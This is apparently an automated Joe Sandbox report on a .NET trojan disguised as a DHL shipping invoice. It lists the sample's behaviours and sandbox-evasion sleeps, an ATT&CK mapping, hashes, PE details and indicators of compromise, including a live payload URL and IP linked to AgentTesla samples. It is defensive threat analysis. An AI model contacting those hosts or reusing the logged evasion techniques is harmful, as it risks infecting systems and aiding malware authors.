Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Memory allocated: 1180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Memory allocated: 2B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Memory allocated: 4B20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Window / User API: threadDelayed 4688			Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Window / User API: threadDelayed 5167			Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 3064	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 3064	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 5396	Thread sleep count: 4688 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe TID: 5396	Thread sleep count: 5167 > 30	Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 100000			Jump to behavior

Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3995915642.0000000000C68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3
Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3995915642.0000000000C68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll#

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Queries volume information: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DHL-SHIPPING INVOICE-1&.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rubberpartsmanufacturers.com	103.191.208.122	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rubberpartsmanufacturers.com/inneska/Kjeggzijku.vdf	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://rubberpartsmanufacturers.com	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://rubberpartsmanufacturers.comd	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://rubberpartsmanufacturers.com/inneska/Kjeggzijku.vdfts	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031C7000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003267000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003087000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003193000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030F5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031F7000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003247000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002D2D000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003213000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031EF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003176000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003037000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031DE000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003252000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031A5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003063000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003029000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002B21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rubberpartsmanufacturers.com	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000002B96000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://rubberpartsmanufacturers.comD	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003226000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031FF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003247000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031E5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003176000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003037000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003252000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003063000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.000000000309B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003091000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.000000000302E000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.000000000326F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030AD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003049000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.000000000319C000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.0000000003209000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000031D2000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.3996658542.00000000030C7000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.191.208.122	rubberpartsmanufacturers.com	unknown		7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1535816
Start date and time:	2024-10-17 10:51:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DHL-SHIPPING INVOICE-1&.exe
Detection:	MAL
Classification:	mal60.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 16 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target DHL-SHIPPING INVOICE-1&.exe, PID 4196 because it is empty
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: DHL-SHIPPING INVOICE-1&.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
103.191.208.122	rScan_0984829339_PDF.exe	Get hash	malicious	AgentTesla	Browse
	Request for Quotation-537262227-04.exe	Get hash	malicious	AgentTesla	Browse
	AYV0eq1Gyc.exe	Get hash	malicious	AgentTesla	Browse
	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse
	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
rubberpartsmanufacturers.com	rScan_0984829339_PDF.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	Request for Quotation-537262227-04.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	AYV0eq1Gyc.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	spc.elf	Get hash	malicious	Mirai	Browse	103.160.46.133
	mips.elf	Get hash	malicious	Mirai	Browse	161.50.51.190
	QUOTE.exe	Get hash	malicious	Remcos	Browse	103.186.117.77
	m68k.elf	Get hash	malicious	Mirai	Browse	161.50.51.198
	arm7.elf	Get hash	malicious	Unknown	Browse	103.182.254.175
	m68k.elf	Get hash	malicious	Mirai	Browse	103.185.182.85
	98789876.exe	Get hash	malicious	Remcos, GuLoader	Browse	103.161.133.119
	h3G4uG7Kqi.elf	Get hash	malicious	Mirai	Browse	103.162.242.136
	na.elf	Get hash	malicious	Mirai	Browse	103.14.48.176

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	TRANSFERENCIA BANCARIA.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	103.191.208.122
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	103.191.208.122
	DHL_Shipping_Invoices_Awb_BL_000000000101620242247820020031808174Global180030010162024.bat	Get hash	malicious	GuLoader, Remcos	Browse	103.191.208.122
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	103.191.208.122
	niceworkfornicepeopleswhoknowmewell.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	103.191.208.122
	seethebstthingstogetwithentirethingstobegret.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	103.191.208.122
	Nowe zam.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	103.191.208.122
	EMPLOYEE APPRAISAL REVIEW FOR Alejandra.madrazo Q4 2024.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	103.191.208.122
	Proforma Invoice_21-1541 And Packing List.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.191.208.122

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.787559115842016
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	DHL-SHIPPING INVOICE-1&.exe
File size:	50'688 bytes
MD5:	8fbbd902161a8efa056e3db546ea7946
SHA1:	4be996a6c3d74f69d1dbb46f843f759190f5110e
SHA256:	8211115dc28bb6b93fa0deff0b8be55e4d05a0a5af912040169f299b65875bda
SHA512:	348938962df5bfd085a839e0077e1c5e6daa0d92b21a92f5387ff74a6bcec9b0ffecd2649bd19452cb7787ecc2333460f8f0a07e5ee9a0ab2f90da26288db6d6
SSDEEP:	768:S3RBFILG4nPrC0FPoqCY7ZRRRzuIFCF1ONFaaantvJSJLQBjyUEQH:0xILGurC0FgqCYYF1ONFaaatv8JLuH
TLSH:	E9334A1867BD8B93C7FD2B7994F150944AF1C61BB842EF895DC8B0E64943382264A37F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....`.g................................. ........@.. ....................... ............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40db0e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x670F60D9 [Wed Oct 16 06:44:41 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdab4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe000	0x5a6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbb14	0xbc00	45518e722ab094ba9f4a746388261987	False	0.47161735372340424	data	5.882288937521216	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe000	0x5a6	0x600	7e61314358d722d5fe805e8bb0e2556d	False	0.4186197916666667	data	4.078667150548433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x10000	0xc	0x200	75ce0d714c7f81aa44cbc5b64e7bf126	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

